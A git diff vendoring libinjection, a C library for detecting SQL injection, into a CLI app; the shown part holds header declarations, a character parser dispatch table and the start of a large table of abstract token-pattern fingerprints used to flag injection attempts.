+ */ +int libinjection_sqli_fold(struct libinjection_sqli_state *sf); + +/** The built-in default function to match fingerprints + * and do false negative/positive analysis. This calls the following + * two functions. With this, you over-ride one part or the other. + * + * return libinjection_sqli_blacklist(sql_state) && + * libinjection_sqli_not_whitelist(sql_state); + * + * \param sql_state should be filled out after libinjection_sqli_fingerprint is + * called + */ +int libinjection_sqli_check_fingerprint( + struct libinjection_sqli_state *sql_state); + +/* Given a pattern determine if it's a SQLi pattern. + * + * \return TRUE if sqli, false otherwise + */ +static int +libinjection_sqli_blacklist(struct libinjection_sqli_state *sql_state); + +/* Given a positive match for a pattern (i.e. pattern is SQLi), this function + * does additional analysis to reduce false positives. + * + * \return TRUE if SQLi, false otherwise + */ +static int +libinjection_sqli_not_whitelist(struct libinjection_sqli_state *sql_state); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBINJECTION_SQLI_H */ diff --git a/apps/cli/vendor/libinjection/src/libinjection_sqli_data.h b/apps/cli/vendor/libinjection/src/libinjection_sqli_data.h new file mode 100644 index 00000000..2cb14a19 --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_sqli_data.h @@ -0,0 +1,9651 @@ + +#ifndef LIBINJECTION_SQLI_DATA_H +#define LIBINJECTION_SQLI_DATA_H + +#include "libinjection.h" +#include "libinjection_sqli.h" + +typedef struct { + const char *word; + char type; +} keyword_t; + +static size_t parse_money(sfilter *sf); +static size_t parse_other(sfilter *sf); +static size_t parse_white(sfilter *sf); +static size_t parse_operator1(sfilter *sf); +static size_t parse_char(sfilter *sf); +static size_t parse_hash(sfilter *sf); +static size_t parse_dash(sfilter *sf); +static size_t parse_slash(sfilter *sf); +static size_t parse_backslash(sfilter *sf); +static size_t parse_operator2(sfilter *sf); +static size_t parse_string(sfilter *sf); +static size_t parse_word(sfilter *sf); +static size_t parse_var(sfilter *sf); +static size_t parse_number(sfilter *sf); +static size_t parse_tick(sfilter *sf); +static size_t parse_ustring(sfilter *sf); +static size_t parse_qstring(sfilter *sf); +static size_t parse_nqstring(sfilter *sf); +static size_t parse_xstring(sfilter *sf); +static size_t parse_bstring(sfilter *sf); +static size_t parse_estring(sfilter *sf); +static size_t parse_bword(sfilter *sf); + +typedef size_t (*pt2Function)(sfilter *sf); +static const pt2Function char_parse_map[] = { + &parse_white, /* 0 */ + &parse_white, /* 1 */ + &parse_white, /* 2 */ + &parse_white, /* 3 */ + &parse_white, /* 4 */ + &parse_white, /* 5 */ + &parse_white, /* 6 */ + &parse_white, /* 7 */ + &parse_white, /* 8 */ + &parse_white, /* 9 */ + &parse_white, /* 10 */ + &parse_white, /* 11 */ + &parse_white, /* 12 */ + &parse_white, /* 13 */ + &parse_white, /* 14 */ + &parse_white, /* 15 */ + &parse_white, /* 16 */ + &parse_white, /* 17 */ + &parse_white, /* 18 */ + &parse_white, /* 19 */ + &parse_white, /* 20 */ + &parse_white, /* 21 */ + &parse_white, /* 22 */ + &parse_white, /* 23 */ + &parse_white, /* 24 */ + &parse_white, /* 25 */ + &parse_white, /* 26 */ + &parse_white, /* 27 */ + &parse_white, /* 28 */ + &parse_white, /* 29 */ + &parse_white, /* 30 */ + &parse_white, /* 31 */ + &parse_white, /* 32 */ + &parse_operator2, /* 33 */ + &parse_string, /* 34 */ + &parse_hash, /* 35 */ + &parse_money, /* 36 */ + &parse_operator1, /* 37 */ + &parse_operator2, /* 38 */ + &parse_string, /* 39 */ + &parse_char, /* 40 */ + &parse_char, /* 41 */ + &parse_operator2, /* 42 */ + &parse_operator1, /* 43 */ + &parse_char, /* 44 */ + &parse_dash, /* 45 */ + &parse_number, /* 46 */ + &parse_slash, /* 47 */ + &parse_number, /* 48 */ + &parse_number, /* 49 */ + &parse_number, /* 50 */ + &parse_number, /* 51 */ + &parse_number, /* 52 */ + &parse_number, /* 53 */ + &parse_number, /* 54 */ + &parse_number, /* 55 */ + &parse_number, /* 56 */ + &parse_number, /* 57 */ + &parse_operator2, /* 58 */ + &parse_char, /* 59 */ + &parse_operator2, /* 60 */ + &parse_operator2, /* 61 */ + &parse_operator2, /* 62 */ + &parse_other, /* 63 */ + &parse_var, /* 64 */ + &parse_word, /* 65 */ + &parse_bstring, /* 66 */ + &parse_word, /* 67 */ + &parse_word, /* 68 */ + &parse_estring, /* 69 */ + &parse_word, /* 70 */ + &parse_word, /* 71 */ + &parse_word, /* 72 */ + &parse_word, /* 73 */ + &parse_word, /* 74 */ + &parse_word, /* 75 */ + &parse_word, /* 76 */ + &parse_word, /* 77 */ + &parse_nqstring, /* 78 */ + &parse_word, /* 79 */ + &parse_word, /* 80 */ + &parse_qstring, /* 81 */ + &parse_word, /* 82 */ + &parse_word, /* 83 */ + &parse_word, /* 84 */ + &parse_ustring, /* 85 */ + &parse_word, /* 86 */ + &parse_word, /* 87 */ + &parse_xstring, /* 88 */ + &parse_word, /* 89 */ + &parse_word, /* 90 */ + &parse_bword, /* 91 */ + &parse_backslash, /* 92 */ + &parse_other, /* 93 */ + &parse_operator1, /* 94 */ + &parse_word, /* 95 */ + &parse_tick, /* 96 */ + &parse_word, /* 97 */ + &parse_bstring, /* 98 */ + &parse_word, /* 99 */ + &parse_word, /* 100 */ + &parse_estring, /* 101 */ + &parse_word, /* 102 */ + &parse_word, /* 103 */ + &parse_word, /* 104 */ + &parse_word, /* 105 */ + &parse_word, /* 106 */ + &parse_word, /* 107 */ + &parse_word, /* 108 */ + &parse_word, /* 109 */ + &parse_nqstring, /* 110 */ + &parse_word, /* 111 */ + &parse_word, /* 112 */ + &parse_qstring, /* 113 */ + &parse_word, /* 114 */ + &parse_word, /* 115 */ + &parse_word, /* 116 */ + &parse_ustring, /* 117 */ + &parse_word, /* 118 */ + &parse_word, /* 119 */ + &parse_xstring, /* 120 */ + &parse_word, /* 121 */ + &parse_word, /* 122 */ + &parse_char, /* 123 */ + &parse_operator2, /* 124 */ + &parse_char, /* 125 */ + &parse_operator1, /* 126 */ + &parse_white, /* 127 */ + &parse_word, /* 128 */ + &parse_word, /* 129 */ + &parse_word, /* 130 */ + &parse_word, /* 131 */ + &parse_word, /* 132 */ + &parse_word, /* 133 */ + &parse_word, /* 134 */ + &parse_word, /* 135 */ + &parse_word, /* 136 */ + &parse_word, /* 137 */ + &parse_word, /* 138 */ + &parse_word, /* 139 */ + &parse_word, /* 140 */ + &parse_word, /* 141 */ + &parse_word, /* 142 */ + &parse_word, /* 143 */ + &parse_word, /* 144 */ + &parse_word, /* 145 */ + &parse_word, /* 146 */ + &parse_word, /* 147 */ + &parse_word, /* 148 */ + &parse_word, /* 149 */ + &parse_word, /* 150 */ + &parse_word, /* 151 */ + &parse_word, /* 152 */ + &parse_word, /* 153 */ + &parse_word, /* 154 */ + &parse_word, /* 155 */ + &parse_word, /* 156 */ + &parse_word, /* 157 */ + &parse_word, /* 158 */ + &parse_word, /* 159 */ + &parse_white, /* 160 */ + &parse_word, /* 161 */ + &parse_word, /* 162 */ + &parse_word, /* 163 */ + &parse_word, /* 164 */ + &parse_word, /* 165 */ + &parse_word, /* 166 */ + &parse_word, /* 167 */ + &parse_word, /* 168 */ + &parse_word, /* 169 */ + &parse_word, /* 170 */ + &parse_word, /* 171 */ + &parse_word, /* 172 */ + &parse_word, /* 173 */ + &parse_word, /* 174 */ + &parse_word, /* 175 */ + &parse_word, /* 176 */ + &parse_word, /* 177 */ + &parse_word, /* 178 */ + &parse_word, /* 179 */ + &parse_word, /* 180 */ + &parse_word, /* 181 */ + &parse_word, /* 182 */ + &parse_word, /* 183 */ + &parse_word, /* 184 */ + &parse_word, /* 185 */ + &parse_word, /* 186 */ + &parse_word, /* 187 */ + &parse_word, /* 188 */ + &parse_word, /* 189 */ + &parse_word, /* 190 */ + &parse_word, /* 191 */ + &parse_word, /* 192 */ + &parse_word, /* 193 */ + &parse_word, /* 194 */ + &parse_word, /* 195 */ + &parse_word, /* 196 */ + &parse_word, /* 197 */ + &parse_word, /* 198 */ + &parse_word, /* 199 */ + &parse_word, /* 200 */ + &parse_word, /* 201 */ + &parse_word, /* 202 */ + &parse_word, /* 203 */ + &parse_word, /* 204 */ + &parse_word, /* 205 */ + &parse_word, /* 206 */ + &parse_word, /* 207 */ + &parse_word, /* 208 */ + &parse_word, /* 209 */ + &parse_word, /* 210 */ + &parse_word, /* 211 */ + &parse_word, /* 212 */ + &parse_word, /* 213 */ + &parse_word, /* 214 */ + &parse_word, /* 215 */ + &parse_word, /* 216 */ + &parse_word, /* 217 */ + &parse_word, /* 218 */ + &parse_word, /* 219 */ + &parse_word, /* 220 */ + &parse_word, /* 221 */ + &parse_word, /* 222 */ + &parse_word, /* 223 */ + &parse_word, /* 224 */ + &parse_word, /* 225 */ + &parse_word, /* 226 */ + &parse_word, /* 227 */ + &parse_word, /* 228 */ + &parse_word, /* 229 */ + &parse_word, /* 230 */ + &parse_word, /* 231 */ + &parse_word, /* 232 */ + &parse_word, /* 233 */ + &parse_word, /* 234 */ + &parse_word, /* 235 */ + &parse_word, /* 236 */ + &parse_word, /* 237 */ + &parse_word, /* 238 */ + &parse_word, /* 239 */ + &parse_word, /* 240 */ + &parse_word, /* 241 */ + &parse_word, /* 242 */ + &parse_word, /* 243 */ + &parse_word, /* 244 */ + &parse_word, /* 245 */ + &parse_word, /* 246 */ + &parse_word, /* 247 */ + &parse_word, /* 248 */ + &parse_word, /* 249 */ + &parse_word, /* 250 */ + &parse_word, /* 251 */ + &parse_word, /* 252 */ + &parse_word, /* 253 */ + &parse_word, /* 254 */ + &parse_word, /* 255 */ +}; + +static const keyword_t sql_keywords[] = { + {"!!", 'o'}, + {"!<", 'o'}, + {"!=", 'o'}, + {"!>", 'o'}, + {"%=", 'o'}, + {"&&", '&'}, + {"&=", 'o'}, + {"*=", 'o'}, + {"+=", 'o'}, + {"-=", 'o'}, + {"/=", 'o'}, + {"0&(1)O", 'F'}, + {"0&(1)U", 'F'}, + {"0&(1O(", 'F'}, + {"0&(1OF", 'F'}, + {"0&(1OS", 'F'}, + {"0&(1OV", 'F'}, + {"0&(F()", 'F'}, + {"0&(F(1", 'F'}, + {"0&(F(F", 'F'}, + {"0&(F(N", 'F'}, + {"0&(F(S", 'F'}, + {"0&(F(V", 'F'}, + {"0&(N)O", 'F'}, + {"0&(N)U", 'F'}, + {"0&(NO(", 'F'}, + {"0&(NOF", 'F'}, + {"0&(NOS", 'F'}, + {"0&(NOV", 'F'}, + {"0&(S)O", 'F'}, + {"0&(S)U", 'F'}, + {"0&(SO(", 'F'}, + {"0&(SO1", 'F'}, + {"0&(SOF", 'F'}, + {"0&(SON", 'F'}, + {"0&(SOS", 'F'}, + {"0&(SOV", 'F'}, + {"0&(V)O", 'F'}, + {"0&(V)U", 'F'}, + {"0&(VO(", 'F'}, + {"0&(VOF", 'F'}, + {"0&(VOS", 'F'}, + {"0&1O(1", 'F'}, + {"0&1O(F", 'F'}, + {"0&1O(N", 'F'}, + {"0&1O(S", 'F'}, + {"0&1O(V", 'F'}, + {"0&1OF(", 'F'}, + {"0&1OS(", 'F'}, + {"0&1OS1", 'F'}, + {"0&1OSF", 'F'}, + {"0&1OSU", 'F'}, + {"0&1OSV", 'F'}, + {"0&1OV(", 'F'}, + {"0&1OVF", 'F'}, + {"0&1OVO", 'F'}, + {"0&1OVS", 'F'}, + {"0&1OVU", 'F'}, + {"0&1UE(", 'F'}, + {"0&1UE1", 'F'}, + {"0&1UEF", 'F'}, + {"0&1UEK", 'F'}, + {"0&1UEN", 'F'}, + {"0&1UES", 'F'}, + {"0&1UEV", 'F'}, + {"0&F()O", 'F'}, + {"0&F()U", 'F'}, + {"0&F(1)", 'F'}, + {"0&F(1O", 'F'}, + {"0&F(F(", 'F'}, + {"0&F(N)", 'F'}, + {"0&F(NO", 'F'}, + {"0&F(S)", 'F'}, + {"0&F(SO", 'F'}, + {"0&F(V)", 'F'}, + {"0&F(VO", 'F'}, + {"0&NO(1", 'F'}, + {"0&NO(F", 'F'}, + {"0&NO(N", 'F'}, + {"0&NO(S", 'F'}, + {"0&NO(V", 'F'}, + {"0&NOF(", 'F'}, + {"0&NOS(", 'F'}, + {"0&NOS1", 'F'}, + {"0&NOSF", 'F'}, + {"0&NOSU", 'F'}, + {"0&NOSV", 'F'}, + {"0&NOV(", 'F'}, + {"0&NOVF", 'F'}, + {"0&NOVO", 'F'}, + {"0&NOVS", 'F'}, + {"0&NOVU", 'F'}, + {"0&NUE(", 'F'}, + {"0&NUE1", 'F'}, + {"0&NUEF", 'F'}, + {"0&NUEK", 'F'}, + {"0&NUEN", 'F'}, + {"0&NUES", 'F'}, + {"0&NUEV", 'F'}, + {"0&SO(1", 'F'}, + {"0&SO(F", 'F'}, + {"0&SO(N", 'F'}, + {"0&SO(S", 'F'}, + {"0&SO(V", 'F'}, + {"0&SO1(", 'F'}, + {"0&SO1F", 'F'}, + {"0&SO1N", 'F'}, + {"0&SO1S", 'F'}, + {"0&SO1U", 'F'}, + {"0&SO1V", 'F'}, + {"0&SOF(", 'F'}, + {"0&SON(", 'F'}, + {"0&SON1", 'F'}, + {"0&SONF", 'F'}, + {"0&SONU", 'F'}, + {"0&SOS(", 'F'}, + {"0&SOS1", 'F'}, + {"0&SOSF", 'F'}, + {"0&SOSU", 'F'}, + {"0&SOSV", 'F'}, + {"0&SOV(", 'F'}, + {"0&SOVF", 'F'}, + {"0&SOVO", 'F'}, + {"0&SOVS", 'F'}, + {"0&SOVU", 'F'}, + {"0&SUE(", 'F'}, + {"0&SUE1", 'F'}, + {"0&SUEF", 'F'}, + {"0&SUEK", 'F'}, + {"0&SUEN", 'F'}, + {"0&SUES", 'F'}, + {"0&SUEV", 'F'}, + {"0&VO(1", 'F'}, + {"0&VO(F", 'F'}, + {"0&VO(N", 'F'}, + {"0&VO(S", 'F'}, + {"0&VO(V", 'F'}, + {"0&VOF(", 'F'}, + {"0&VOS(", 'F'}, + {"0&VOS1", 'F'}, + {"0&VOSF", 'F'}, + {"0&VOSU", 'F'}, + {"0&VOSV", 'F'}, + {"0&VUE(", 'F'}, + {"0&VUE1", 'F'}, + {"0&VUEF", 'F'}, + {"0&VUEK", 'F'}, + {"0&VUEN", 'F'}, + {"0&VUES", 'F'}, + {"0&VUEV", 'F'}, + {"0)&(EK", 'F'}, + {"0)&(EN", 'F'}, + {"0)UE(1", 'F'}, + {"0)UE(F", 'F'}, + {"0)UE(N", 'F'}, + {"0)UE(S", 'F'}, + {"0)UE(V", 'F'}, + {"0)UE1K", 'F'}, + {"0)UE1O", 'F'}, + {"0)UEF(", 'F'}, + {"0)UEK(", 'F'}, + {"0)UEK1", 'F'}, + {"0)UEKF", 'F'}, + {"0)UEKN", 'F'}, + {"0)UEKS", 'F'}, + {"0)UEKV", 'F'}, + {"0)UENK", 'F'}, + {"0)UENO", 'F'}, + {"0)UESK", 'F'}, + {"0)UESO", 'F'}, + {"0)UEVK", 'F'}, + {"0)UEVO", 'F'}, + {"01&(1&", 'F'}, + {"01&(1)", 'F'}, + {"01&(1,", 'F'}, + {"01&(1O", 'F'}, + {"01&(E(", 'F'}, + {"01&(E1", 'F'}, + {"01&(EF", 'F'}, + {"01&(EK", 'F'}, + {"01&(EN", 'F'}, + {"01&(EO", 'F'}, + {"01&(ES", 'F'}, + {"01&(EV", 'F'}, + {"01&(F(", 'F'}, + {"01&(N&", 'F'}, + {"01&(N)", 'F'}, + {"01&(N,", 'F'}, + {"01&(NO", 'F'}, + {"01&(S&", 'F'}, + {"01&(S)", 'F'}, + {"01&(S,", 'F'}, + {"01&(SO", 'F'}, + {"01&(V&", 'F'}, + {"01&(V)", 'F'}, + {"01&(V,", 'F'}, + {"01&(VO", 'F'}, + {"01&1", 'F'}, + {"01&1&(", 'F'}, + {"01&1&1", 'F'}, + {"01&1&F", 'F'}, + {"01&1&N", 'F'}, + {"01&1&S", 'F'}, + {"01&1&V", 'F'}, + {"01&1)&", 'F'}, + {"01&1)C", 'F'}, + {"01&1)O", 'F'}, + {"01&1)U", 'F'}, + {"01&1;", 'F'}, + {"01&1;C", 'F'}, + {"01&1;E", 'F'}, + {"01&1;T", 'F'}, + {"01&1B(", 'F'}, + {"01&1B1", 'F'}, + {"01&1BF", 'F'}, + {"01&1BN", 'F'}, + {"01&1BS", 'F'}, + {"01&1BV", 'F'}, + {"01&1C", 'F'}, + {"01&1EK", 'F'}, + {"01&1EN", 'F'}, + {"01&1F(", 'F'}, + {"01&1K(", 'F'}, + {"01&1K1", 'F'}, + {"01&1KF", 'F'}, + {"01&1KN", 'F'}, + {"01&1KS", 'F'}, + {"01&1KV", 'F'}, + {"01&1O(", 'F'}, + {"01&1OF", 'F'}, + {"01&1OS", 'F'}, + {"01&1OV", 'F'}, + {"01&1TN", 'F'}, + {"01&1U", 'F'}, + {"01&1U(", 'F'}, + {"01&1U;", 'F'}, + {"01&1UC", 'F'}, + {"01&1UE", 'F'}, + {"01&E(1", 'F'}, + {"01&E(F", 'F'}, + {"01&E(N", 'F'}, + {"01&E(O", 'F'}, + {"01&E(S", 'F'}, + {"01&E(V", 'F'}, + {"01&E1", 'F'}, + {"01&E1;", 'F'}, + {"01&E1C", 'F'}, + {"01&E1K", 'F'}, + {"01&E1O", 'F'}, + {"01&EF(", 'F'}, + {"01&EK(", 'F'}, + {"01&EK1", 'F'}, + {"01&EKF", 'F'}, + {"01&EKN", 'F'}, + {"01&EKS", 'F'}, + {"01&EKU", 'F'}, + {"01&EKV", 'F'}, + {"01&EN", 'F'}, + {"01&EN;", 'F'}, + {"01&ENC", 'F'}, + {"01&ENK", 'F'}, + {"01&ENO", 'F'}, + {"01&ES", 'F'}, + {"01&ES;", 'F'}, + {"01&ESC", 'F'}, + {"01&ESK", 'F'}, + {"01&ESO", 'F'}, + {"01&EUE", 'F'}, + {"01&EV", 'F'}, + {"01&EV;", 'F'}, + {"01&EVC", 'F'}, + {"01&EVK", 'F'}, + {"01&EVO", 'F'}, + {"01&F()", 'F'}, + {"01&F(1", 'F'}, + {"01&F(E", 'F'}, + {"01&F(F", 'F'}, + {"01&F(N", 'F'}, + {"01&F(S", 'F'}, + {"01&F(V", 'F'}, + {"01&K&(", 'F'}, + {"01&K&1", 'F'}, + {"01&K&F", 'F'}, + {"01&K&N", 'F'}, + {"01&K&S", 'F'}, + {"01&K&V", 'F'}, + {"01&K(1", 'F'}, + {"01&K(F", 'F'}, + {"01&K(N", 'F'}, + {"01&K(S", 'F'}, + {"01&K(V", 'F'}, + {"01&K1O", 'F'}, + {"01&KC", 'F'}, + {"01&KF(", 'F'}, + {"01&KNK", 'F'}, + {"01&KO(", 'F'}, + {"01&KO1", 'F'}, + {"01&KOF", 'F'}, + {"01&KOK", 'F'}, + {"01&KON", 'F'}, + {"01&KOS", 'F'}, + {"01&KOV", 'F'}, + {"01&KSO", 'F'}, + {"01&KVO", 'F'}, + {"01&N&(", 'F'}, + {"01&N&1", 'F'}, + {"01&N&F", 'F'}, + {"01&N&N", 'F'}, + {"01&N&S", 'F'}, + {"01&N&V", 'F'}, + {"01&N)&", 'F'}, + {"01&N)C", 'F'}, + {"01&N)O", 'F'}, + {"01&N)U", 'F'}, + {"01&N;", 'F'}, + {"01&N;C", 'F'}, + {"01&N;E", 'F'}, + {"01&N;T", 'F'}, + {"01&NB(", 'F'}, + {"01&NB1", 'F'}, + {"01&NBF", 'F'}, + {"01&NBN", 'F'}, + {"01&NBS", 'F'}, + {"01&NBV", 'F'}, + {"01&NC", 'F'}, + {"01&NEN", 'F'}, + {"01&NF(", 'F'}, + {"01&NK(", 'F'}, + {"01&NK1", 'F'}, + {"01&NKF", 'F'}, + {"01&NKN", 'F'}, + {"01&NKS", 'F'}, + {"01&NKV", 'F'}, + {"01&NO(", 'F'}, + {"01&NOF", 'F'}, + {"01&NOS", 'F'}, + {"01&NOV", 'F'}, + {"01&NTN", 'F'}, + {"01&NU", 'F'}, + {"01&NU(", 'F'}, + {"01&NU;", 'F'}, + {"01&NUC", 'F'}, + {"01&NUE", 'F'}, + {"01&S", 'F'}, + {"01&S&(", 'F'}, + {"01&S&1", 'F'}, + {"01&S&F", 'F'}, + {"01&S&N", 'F'}, + {"01&S&S", 'F'}, + {"01&S&V", 'F'}, + {"01&S)&", 'F'}, + {"01&S)C", 'F'}, + {"01&S)O", 'F'}, + {"01&S)U", 'F'}, + {"01&S1", 'F'}, + {"01&S1;", 'F'}, + {"01&S1C", 'F'}, + {"01&S;", 'F'}, + {"01&S;C", 'F'}, + {"01&S;E", 'F'}, + {"01&S;T", 'F'}, + {"01&SB(", 'F'}, + {"01&SB1", 'F'}, + {"01&SBF", 'F'}, + {"01&SBN", 'F'}, + {"01&SBS", 'F'}, + {"01&SBV", 'F'}, + {"01&SC", 'F'}, + {"01&SEK", 'F'}, + {"01&SEN", 'F'}, + {"01&SF(", 'F'}, + {"01&SK(", 'F'}, + {"01&SK1", 'F'}, + {"01&SKF", 'F'}, + {"01&SKN", 'F'}, + {"01&SKS", 'F'}, + {"01&SKV", 'F'}, + {"01&SO(", 'F'}, + {"01&SO1", 'F'}, + {"01&SOF", 'F'}, + {"01&SON", 'F'}, + {"01&SOS", 'F'}, + {"01&SOV", 'F'}, + {"01&STN", 'F'}, + {"01&SU", 'F'}, + {"01&SU(", 'F'}, + {"01&SU;", 'F'}, + {"01&SUC", 'F'}, + {"01&SUE", 'F'}, + {"01&SV", 'F'}, + {"01&SV;", 'F'}, + {"01&SVC", 'F'}, + {"01&SVO", 'F'}, + {"01&V", 'F'}, + {"01&V&(", 'F'}, + {"01&V&1", 'F'}, + {"01&V&F", 'F'}, + {"01&V&N", 'F'}, + {"01&V&S", 'F'}, + {"01&V&V", 'F'}, + {"01&V)&", 'F'}, + {"01&V)C", 'F'}, + {"01&V)O", 'F'}, + {"01&V)U", 'F'}, + {"01&V;", 'F'}, + {"01&V;C", 'F'}, + {"01&V;E", 'F'}, + {"01&V;T", 'F'}, + {"01&VB(", 'F'}, + {"01&VB1", 'F'}, + {"01&VBF", 'F'}, + {"01&VBN", 'F'}, + {"01&VBS", 'F'}, + {"01&VBV", 'F'}, + {"01&VC", 'F'}, + {"01&VEK", 'F'}, + {"01&VEN", 'F'}, + {"01&VF(", 'F'}, + {"01&VK(", 'F'}, + {"01&VK1", 'F'}, + {"01&VKF", 'F'}, + {"01&VKN", 'F'}, + {"01&VKS", 'F'}, + {"01&VKV", 'F'}, + {"01&VO(", 'F'}, + {"01&VOF", 'F'}, + {"01&VOS", 'F'}, + {"01&VS", 'F'}, + {"01&VS;", 'F'}, + {"01&VSC", 'F'}, + {"01&VSO", 'F'}, + {"01&VTN", 'F'}, + {"01&VU", 'F'}, + {"01&VU(", 'F'}, + {"01&VU;", 'F'}, + {"01&VUC", 'F'}, + {"01&VUE", 'F'}, + {"01(EF(", 'F'}, + {"01(EKF", 'F'}, + {"01(EKN", 'F'}, + {"01(ENK", 'F'}, + {"01(U(E", 'F'}, + {"01)&(1", 'F'}, + {"01)&(E", 'F'}, + {"01)&(F", 'F'}, + {"01)&(N", 'F'}, + {"01)&(S", 'F'}, + {"01)&(V", 'F'}, + {"01)&1", 'F'}, + {"01)&1&", 'F'}, + {"01)&1)", 'F'}, + {"01)&1;", 'F'}, + {"01)&1B", 'F'}, + {"01)&1C", 'F'}, + {"01)&1F", 'F'}, + {"01)&1O", 'F'}, + {"01)&1U", 'F'}, + {"01)&F(", 'F'}, + {"01)&N", 'F'}, + {"01)&N&", 'F'}, + {"01)&N)", 'F'}, + {"01)&N;", 'F'}, + {"01)&NB", 'F'}, + {"01)&NC", 'F'}, + {"01)&NF", 'F'}, + {"01)&NO", 'F'}, + {"01)&NU", 'F'}, + {"01)&S", 'F'}, + {"01)&S&", 'F'}, + {"01)&S)", 'F'}, + {"01)&S;", 'F'}, + {"01)&SB", 'F'}, + {"01)&SC", 'F'}, + {"01)&SF", 'F'}, + {"01)&SO", 'F'}, + {"01)&SU", 'F'}, + {"01)&V", 'F'}, + {"01)&V&", 'F'}, + {"01)&V)", 'F'}, + {"01)&V;", 'F'}, + {"01)&VB", 'F'}, + {"01)&VC", 'F'}, + {"01)&VF", 'F'}, + {"01)&VO", 'F'}, + {"01)&VU", 'F'}, + {"01),(1", 'F'}, + {"01),(F", 'F'}, + {"01),(N", 'F'}, + {"01),(S", 'F'}, + {"01),(V", 'F'}, + {"01);E(", 'F'}, + {"01);E1", 'F'}, + {"01);EF", 'F'}, + {"01);EK", 'F'}, + {"01);EN", 'F'}, + {"01);EO", 'F'}, + {"01);ES", 'F'}, + {"01);EV", 'F'}, + {"01);T(", 'F'}, + {"01);T1", 'F'}, + {"01);TF", 'F'}, + {"01);TK", 'F'}, + {"01);TN", 'F'}, + {"01);TO", 'F'}, + {"01);TS", 'F'}, + {"01);TV", 'F'}, + {"01)B(1", 'F'}, + {"01)B(F", 'F'}, + {"01)B(N", 'F'}, + {"01)B(S", 'F'}, + {"01)B(V", 'F'}, + {"01)B1", 'F'}, + {"01)B1&", 'F'}, + {"01)B1;", 'F'}, + {"01)B1C", 'F'}, + {"01)B1K", 'F'}, + {"01)B1N", 'F'}, + {"01)B1O", 'F'}, + {"01)B1U", 'F'}, + {"01)BF(", 'F'}, + {"01)BN", 'F'}, + {"01)BN&", 'F'}, + {"01)BN;", 'F'}, + {"01)BNC", 'F'}, + {"01)BNK", 'F'}, + {"01)BNO", 'F'}, + {"01)BNU", 'F'}, + {"01)BS", 'F'}, + {"01)BS&", 'F'}, + {"01)BS;", 'F'}, + {"01)BSC", 'F'}, + {"01)BSK", 'F'}, + {"01)BSO", 'F'}, + {"01)BSU", 'F'}, + {"01)BV", 'F'}, + {"01)BV&", 'F'}, + {"01)BV;", 'F'}, + {"01)BVC", 'F'}, + {"01)BVK", 'F'}, + {"01)BVO", 'F'}, + {"01)BVU", 'F'}, + {"01)C", 'F'}, + {"01)E(1", 'F'}, + {"01)E(F", 'F'}, + {"01)E(N", 'F'}, + {"01)E(S", 'F'}, + {"01)E(V", 'F'}, + {"01)E1C", 'F'}, + {"01)E1O", 'F'}, + {"01)EF(", 'F'}, + {"01)EK(", 'F'}, + {"01)EK1", 'F'}, + {"01)EKF", 'F'}, + {"01)EKN", 'F'}, + {"01)EKS", 'F'}, + {"01)EKV", 'F'}, + {"01)ENC", 'F'}, + {"01)ENO", 'F'}, + {"01)ESC", 'F'}, + {"01)ESO", 'F'}, + {"01)EVC", 'F'}, + {"01)EVO", 'F'}, + {"01)F(F", 'F'}, + {"01)K(1", 'F'}, + {"01)K(F", 'F'}, + {"01)K(N", 'F'}, + {"01)K(S", 'F'}, + {"01)K(V", 'F'}, + {"01)K1&", 'F'}, + {"01)K1;", 'F'}, + {"01)K1B", 'F'}, + {"01)K1E", 'F'}, + {"01)K1O", 'F'}, + {"01)K1U", 'F'}, + {"01)KB(", 'F'}, + {"01)KB1", 'F'}, + {"01)KBF", 'F'}, + {"01)KBN", 'F'}, + {"01)KBS", 'F'}, + {"01)KBV", 'F'}, + {"01)KF(", 'F'}, + {"01)KN&", 'F'}, + {"01)KN;", 'F'}, + {"01)KNB", 'F'}, + {"01)KNC", 'F'}, + {"01)KNE", 'F'}, + {"01)KNK", 'F'}, + {"01)KNU", 'F'}, + {"01)KS&", 'F'}, + {"01)KS;", 'F'}, + {"01)KSB", 'F'}, + {"01)KSE", 'F'}, + {"01)KSO", 'F'}, + {"01)KSU", 'F'}, + {"01)KUE", 'F'}, + {"01)KV&", 'F'}, + {"01)KV;", 'F'}, + {"01)KVB", 'F'}, + {"01)KVE", 'F'}, + {"01)KVO", 'F'}, + {"01)KVU", 'F'}, + {"01)O(1", 'F'}, + {"01)O(E", 'F'}, + {"01)O(F", 'F'}, + {"01)O(N", 'F'}, + {"01)O(S", 'F'}, + {"01)O(V", 'F'}, + {"01)O1", 'F'}, + {"01)O1&", 'F'}, + {"01)O1)", 'F'}, + {"01)O1;", 'F'}, + {"01)O1B", 'F'}, + {"01)O1C", 'F'}, + {"01)O1K", 'F'}, + {"01)O1U", 'F'}, + {"01)OF(", 'F'}, + {"01)ON&", 'F'}, + {"01)ON)", 'F'}, + {"01)ON;", 'F'}, + {"01)ONB", 'F'}, + {"01)ONC", 'F'}, + {"01)ONK", 'F'}, + {"01)ONU", 'F'}, + {"01)OS", 'F'}, + {"01)OS&", 'F'}, + {"01)OS)", 'F'}, + {"01)OS;", 'F'}, + {"01)OSB", 'F'}, + {"01)OSC", 'F'}, + {"01)OSK", 'F'}, + {"01)OSU", 'F'}, + {"01)OV", 'F'}, + {"01)OV&", 'F'}, + {"01)OV)", 'F'}, + {"01)OV;", 'F'}, + {"01)OVB", 'F'}, + {"01)OVC", 'F'}, + {"01)OVK", 'F'}, + {"01)OVO", 'F'}, + {"01)OVU", 'F'}, + {"01)U(E", 'F'}, + {"01)UE(", 'F'}, + {"01)UE1", 'F'}, + {"01)UEF", 'F'}, + {"01)UEK", 'F'}, + {"01)UEN", 'F'}, + {"01)UES", 'F'}, + {"01)UEV", 'F'}, + {"01,(1)", 'F'}, + {"01,(1O", 'F'}, + {"01,(E(", 'F'}, + {"01,(E1", 'F'}, + {"01,(EF", 'F'}, + {"01,(EK", 'F'}, + {"01,(EN", 'F'}, + {"01,(ES", 'F'}, + {"01,(EV", 'F'}, + {"01,(F(", 'F'}, + {"01,(N)", 'F'}, + {"01,(NO", 'F'}, + {"01,(S)", 'F'}, + {"01,(SO", 'F'}, + {"01,(V)", 'F'}, + {"01,(VO", 'F'}, + {"01,F()", 'F'}, + {"01,F(1", 'F'}, + {"01,F(F", 'F'}, + {"01,F(N", 'F'}, + {"01,F(S", 'F'}, + {"01,F(V", 'F'}, + {"01;E(1", 'F'}, + {"01;E(E", 'F'}, + {"01;E(F", 'F'}, + {"01;E(N", 'F'}, + {"01;E(S", 'F'}, + {"01;E(V", 